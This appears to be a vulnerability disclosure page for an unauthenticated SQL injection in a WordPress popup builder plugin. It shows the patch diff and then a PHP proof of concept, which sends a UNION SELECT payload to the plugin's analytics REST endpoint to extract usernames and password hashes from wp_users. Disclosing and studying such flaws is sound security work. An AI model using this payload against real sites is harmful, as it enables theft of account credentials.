 		// check for nonce
 		return isset( $_SERVER['HTTP_X_WP_NONCE'] ) && wp_verify_nonce( sanitize_text_field( wp_unslash( $_SERVER['HTTP_X_WP_NONCE'] ) ), 'wp_rest' );
 	}
--- a/popup-builder-block/includes/Routes/Popup.php
+++ b/popup-builder-block/includes/Routes/Popup.php
@@ -45,6 +45,7 @@
 							}
 							return new WP_Error(
 								'rest_invalid_param',
+								/* translators: %s: Field name */
 								sprintf(__('Invalid %s format. Expected YYYY-MM-DD.', 'popup-builder-block'), $key),
 								['status' => 400]
 							);
@@ -58,6 +59,7 @@
 							}
 							return new WP_Error(
 								'rest_invalid_param',
+								/* translators: %s: Field name */
 								sprintf(__('Invalid %s format. Expected YYYY-MM-DD.', 'popup-builder-block'), $key),
 								['status' => 400]
 							);
@@ -73,7 +75,7 @@
                 'endpoint'            => '/popup/logs',
                 'methods'             => 'POST',
                 'callback'            => 'insert_logs',
-                'permission_callback' => [$this, 'permission_callback'],
+                'permission_callback' => [$this, 'pbb_nonce_permission_check'],
 				'args' => array(
 					'postId' => array(
 						'required' => true,
@@ -94,6 +96,7 @@
 							}
 							return new WP_Error(
 								'rest_invalid_param',
+								/* translators: %s: Field name */
 								sprintf(__('Invalid %s format. Expected YYYY-MM-DD.', 'popup-builder-block'), $key),
 								['status' => 400]
 							);
@@ -107,6 +110,7 @@
 							}
 							return new WP_Error(
 								'rest_invalid_param',
+								/* translators: %s: Field name */
 								sprintf(__('Invalid %s format. Expected YYYY-MM-DD.', 'popup-builder-block'), $key),
 								['status' => 400]
 							);
@@ -118,7 +122,7 @@
                 'endpoint'            => '/popup/logs',
                 'methods'             => 'PUT',
                 'callback'            => 'update_logs',
-                'permission_callback' => [$this, 'permission_callback'],
+                'permission_callback' => [$this, 'pbb_nonce_permission_check'],
 				'args' => array(
 					'id' => array(
 						'required' => true,
@@ -142,7 +146,7 @@
         ];
     }

-	public function permission_callback(): bool {
+	public function pbb_nonce_permission_check(): bool {
 		// check for nonce
 		return isset( $_SERVER['HTTP_X_WP_NONCE'] ) && wp_verify_nonce( sanitize_text_field( wp_unslash( $_SERVER['HTTP_X_WP_NONCE'] ) ), 'wp_rest' );
 	}
--- a/popup-builder-block/includes/Routes/Subscribers.php
+++ b/popup-builder-block/includes/Routes/Subscribers.php
@@ -14,7 +14,7 @@
                 'endpoint'            => '/subscribers',
                 'methods'             => 'POST',
                 'callback'            => 'increase_subscribers',
-				'permission_callback' => [$this, 'permission_callback'],
+				'permission_callback' => [$this, 'pbb_nonce_permission_check'],
             ],
             [
                 'endpoint'            => '/subscribers',
@@ -29,6 +29,7 @@
 							}
 							return new WP_Error(
 								'rest_invalid_param',
+								/* translators: %s: Field name */
 								sprintf(__('Invalid %s format. Expected YYYY-MM-DD.', 'popup-builder-block'), $key),
 								['status' => 400]
 							);
@@ -42,6 +43,7 @@
 							}
 							return new WP_Error(
 								'rest_invalid_param',
+								/* translators: %s: Field name */
 								sprintf(__('Invalid %s format. Expected YYYY-MM-DD.', 'popup-builder-block'), $key),
 								['status' => 400]
 							);
@@ -74,7 +76,7 @@
         ];
     }

-	public function permission_callback(): bool {
+	public function pbb_nonce_permission_check(): bool {
 		// check for nonce
 		return isset( $_SERVER['HTTP_X_WP_NONCE'] ) && wp_verify_nonce( sanitize_text_field( wp_unslash( $_SERVER['HTTP_X_WP_NONCE'] ) ), 'wp_rest' );
 	}
@@ -115,7 +117,8 @@
 			'zoho',
 			'mailerlite',
 			'convertKit',
-			'webhook'
+			'webhook',
+			'klaviyo',
 		];

 		// Loop through integrations and add to subscriber data if present
@@ -126,7 +129,7 @@
 		}

 		// Apply integration filter
-		do_action('pbb_form_integration_submit', $subscriber_data);
+		do_action('popup_builder_block_form_integration_submit', $subscriber_data);

 		return rest_ensure_response([
 			'status'  => 'success',
--- a/popup-builder-block/popup-builder-block.php
+++ b/popup-builder-block/popup-builder-block.php
@@ -3,11 +3,11 @@
 /**
  * Plugin Name: PopupKit
  * Description: Powerful popup builder with ready templates and easy customization.
- * Requires at least: 6.1
+ * Requires at least: 6.2
  * Requires PHP: 7.4
  * Plugin URI: https://wpmet.com/plugin/popupkit
  * Author: Wpmet
- * Version: 2.2.0
+ * Version: 2.2.1
  * Author URI: https://wpmet.com/
  * License: GPL-3.0-or-later
  * License URI: https://www.gnu.org/licenses/gpl-3.0.html
@@ -33,7 +33,7 @@
 	 *
 	 * @var string
 	 */
-	const VERSION = '2.2.0';
+	const VERSION = '2.2.1';

 	/**
 	 * PopupKit class constructor.
@@ -59,10 +59,15 @@
 		add_filter( 'plugin_row_meta', [ $this, 'plugin_row_meta' ], 10, 2 );

 		// Load the scoped vendor autoload file
-		require_once POPUP_BUILDER_BLOCK_PLUGIN_DIR . 'scoped/vendor/scoper-autoload.php';
+		if ( file_exists( POPUP_BUILDER_BLOCK_PLUGIN_DIR . 'scoped/vendor/scoper-autoload.php' ) ) {
+			require_once POPUP_BUILDER_BLOCK_PLUGIN_DIR . 'scoped/vendor/scoper-autoload.php';
+		}

 		// Plugin actions
 		add_action( 'plugins_loaded', array( $this, 'plugins_loaded' ) );
+
+		// Plugin unfiltered file support
+		add_action( 'init', array( $this, 'unfiltered_file' ) );
 	}

 	/**
@@ -178,7 +183,7 @@
 		 * This action hook allows developers to perform additional tasks before the PopupKit plugin has been initialized.
 		 * @since 1.0.0
 		 */
-		do_action( 'pbb/before_init' );
+		do_action( 'popup_builder_block/before_init' );

 		/**
 		 * Initializes the Popup Builder Block admin functionality.
@@ -193,6 +198,16 @@
 		new PopupBuilderBlockRoutesInit();
 		new PopupBuilderBlockLibsInit();
 	}
+
+	/**
+	 * Unfiltered file support method.
+	 *
+	 * @return void
+	 * @since 1.0.0
+	 */
+	public function unfiltered_file() {
+		new PopupBuilderBlockLibsUnfilteredFileSupport();
+	}
 }

 /**
--- a/popup-builder-block/uninstall.php
+++ b/popup-builder-block/uninstall.php
@@ -3,77 +3,119 @@
 if (!defined('WP_UNINSTALL_PLUGIN')) {
     exit;
 }
-// Get the uninstall setting value
-$uninstall_data = get_option('pbb-settings-tabs', []);
-$uninstral = $uninstall_data['uninstall-data'] ?? [];
-
-// Check if 'status' is set to 'active'
-if (isset($uninstral['status']) && $uninstral['status'] === 'active') {
-    global $wpdb;
-
-    // Define the options to delete
-    $options_to_delete = [
-        'pbb-settings-tabs',
-        'pbb_settings_list',
-        'pbb_db_version',
-        'pbb_fse_fonts',
-        '__pbb_oppai__',
-        '__pbb_license_key__',
-        'popup_builder_block_pro_installed_time',
-        'popup_builder_block_pro_version',
-    ];
-
-    // Define the custom tables to drop
-    $tables_to_delete = [
-        $wpdb->prefix . 'pbb_log_browsers',
-        $wpdb->prefix . 'pbb_log_countries',
-        $wpdb->prefix . 'pbb_log_referrers',
-        $wpdb->prefix . 'pbb_logs',
-        $wpdb->prefix . 'pbb_subscribers',
-        $wpdb->prefix . 'pbb_browsers',
-        $wpdb->prefix . 'pbb_countries',
-        $wpdb->prefix . 'pbb_referrers',
-    ];
-
-    // Define the usermeta keys to delete
-    $usermeta_keys_to_delete = [
-        // some usermeta keys
-    ];
-
-    // Define the postmeta keys to delete
-    $postmeta_keys_to_delete = [
-        'popup_builder_block_settings',
-    ];
-
-    // Define the transients to delete
-    $transients_to_delete = [
-        // some transients
-    ];
-
-    /** DELETE OPTIONS */
-    foreach ($options_to_delete as $option) {
-        delete_option($option);
-        delete_site_option($option); // For multisite compatibility
-    }
-
-    /** DELETE CUSTOM TABLES */
-    foreach ($tables_to_delete as $table) {
-        $wpdb->query( sprintf( 'DROP TABLE IF EXISTS `%s`', esc_sql( $table ) ) );
-    }
-
-    /** DELETE TRANSIENTS */
-    foreach ($transients_to_delete as $transient) {
-        delete_transient($transient);
-        delete_site_transient($transient); // For multisite
-    }
-
-    /** DELETE USERMETA */
-    foreach ($usermeta_keys_to_delete as $meta_key) {
-        $wpdb->query($wpdb->prepare("DELETE FROM {$wpdb->usermeta} WHERE meta_key = %s", $meta_key));
-    }
-
-    /** DELETE POSTMETA */
-    foreach ($postmeta_keys_to_delete as $meta_key) {
-        $wpdb->query($wpdb->prepare("DELETE FROM {$wpdb->postmeta} WHERE meta_key = %s", $meta_key));
+
+/**
+ * Uninstall class for Popup Builder Block
+ */
+class PopupBuilderBlock_Uninstaller {
+
+    /**
+     * Run the uninstall process
+     */
+    public static function uninstall() {
+        // Get the uninstall setting value
+        $uninstall_data = get_option('pbb-settings-tabs', []);
+        $uninstall = $uninstall_data['uninstall-data'] ?? [];
+
+        // Check if 'status' is set to 'active'
+        if (isset($uninstall['status']) && $uninstall['status'] === 'active') {
+            self::delete_options();
+            self::delete_tables();
+            self::delete_transients();
+            self::delete_usermeta();
+            self::delete_postmeta();
+        }
+    }
+
+    /**
+     * Delete plugin options
+     */
+    private static function delete_options() {
+        $options_to_delete = [
+            'pbb-settings-tabs',
+            'pbb_settings_list',
+            'pbb_db_version',
+            'pbb_fse_fonts',
+            '__pbb_oppai__',
+            '__pbb_license_key__',
+            'popup_builder_block_pro_installed_time',
+            'popup_builder_block_pro_version',
+        ];
+
+        foreach ($options_to_delete as $option) {
+            delete_option($option);
+            delete_site_option($option); // For multisite compatibility
+        }
+    }
+
+    /**
+     * Delete custom database tables
+     */
+    private static function delete_tables() {
+        global $wpdb;
+
+        $tables_to_delete = [
+            $wpdb->prefix . 'pbb_log_browsers',
+            $wpdb->prefix . 'pbb_log_countries',
+            $wpdb->prefix . 'pbb_log_referrers',
+            $wpdb->prefix . 'pbb_logs',
+            $wpdb->prefix . 'pbb_subscribers',
+            $wpdb->prefix . 'pbb_browsers',
+            $wpdb->prefix . 'pbb_countries',
+            $wpdb->prefix . 'pbb_referrers',
+            $wpdb->prefix . 'pbb_ab_test_variants',
+            $wpdb->prefix . 'pbb_ab_tests',
+        ];
+
+        foreach ($tables_to_delete as $table) {
+            $wpdb->query( sprintf( 'DROP TABLE IF EXISTS `%s`', esc_sql( $table ) ) );
+        }
+    }
+
+    /**
+     * Delete transients
+     */
+    private static function delete_transients() {
+        $transients_to_delete = [
+            // some transients
+        ];
+
+        foreach ($transients_to_delete as $transient) {
+            delete_transient($transient);
+            delete_site_transient($transient); // For multisite
+        }
+    }
+
+    /**
+     * Delete usermeta
+     */
+    private static function delete_usermeta() {
+        global $wpdb;
+
+        $usermeta_keys_to_delete = [
+            // some usermeta keys
+        ];
+
+        foreach ($usermeta_keys_to_delete as $meta_key) {
+            $wpdb->query($wpdb->prepare("DELETE FROM {$wpdb->usermeta} WHERE meta_key = %s", $meta_key));
+        }
+    }
+
+    /**
+     * Delete postmeta
+     */
+    private static function delete_postmeta() {
+        global $wpdb;
+
+        $postmeta_keys_to_delete = [
+            'popup_builder_block_settings',
+        ];
+
+        foreach ($postmeta_keys_to_delete as $meta_key) {
+            $wpdb->query($wpdb->prepare("DELETE FROM {$wpdb->postmeta} WHERE meta_key = %s", $meta_key));
+        }
     }
 }
+
+// Execute uninstall
+PopupBuilderBlock_Uninstaller::uninstall();

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-13192 - Popup builder with Gamification <= 2.2.0 - Unauthenticated SQL Injection via Multiple REST API Endpoints

<?php

$target_url = 'http://vulnerable-wordpress-site.com'; // CHANGE THIS

// Define the vulnerable REST API endpoint for analytics
$endpoint = '/wp-json/popup-builder-block/v1/analytics';

// SQL Injection payload to extract user credentials
// This payload assumes default WordPress table prefix 'wp_'
$malicious_campaign_id = "1 UNION SELECT user_login,user_pass FROM wp_users--";

// Build the full URL with the injected parameter
$full_url = $target_url . $endpoint . '?campaign_id=' . urlencode($malicious_campaign_id);

// Initialize cURL session
$ch = curl_init();

// Set cURL options
curl_setopt($ch, CURLOPT_URL, $full_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check for cURL errors
if (curl_errno($ch)) {
    echo "cURL Error: " . curl_error($ch) . "n";
} else {
    echo "HTTP Status Code: $http_coden";
    echo "Response:n";
    echo $response . "n";
}

// Close cURL session
curl_close($ch);

// Note: The actual response structure depends on the plugin's analytics output.
// Successful exploitation may return database data within the normal JSON response.
// Adjust the UNION SELECT payload based on the number of columns expected by the original query.

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School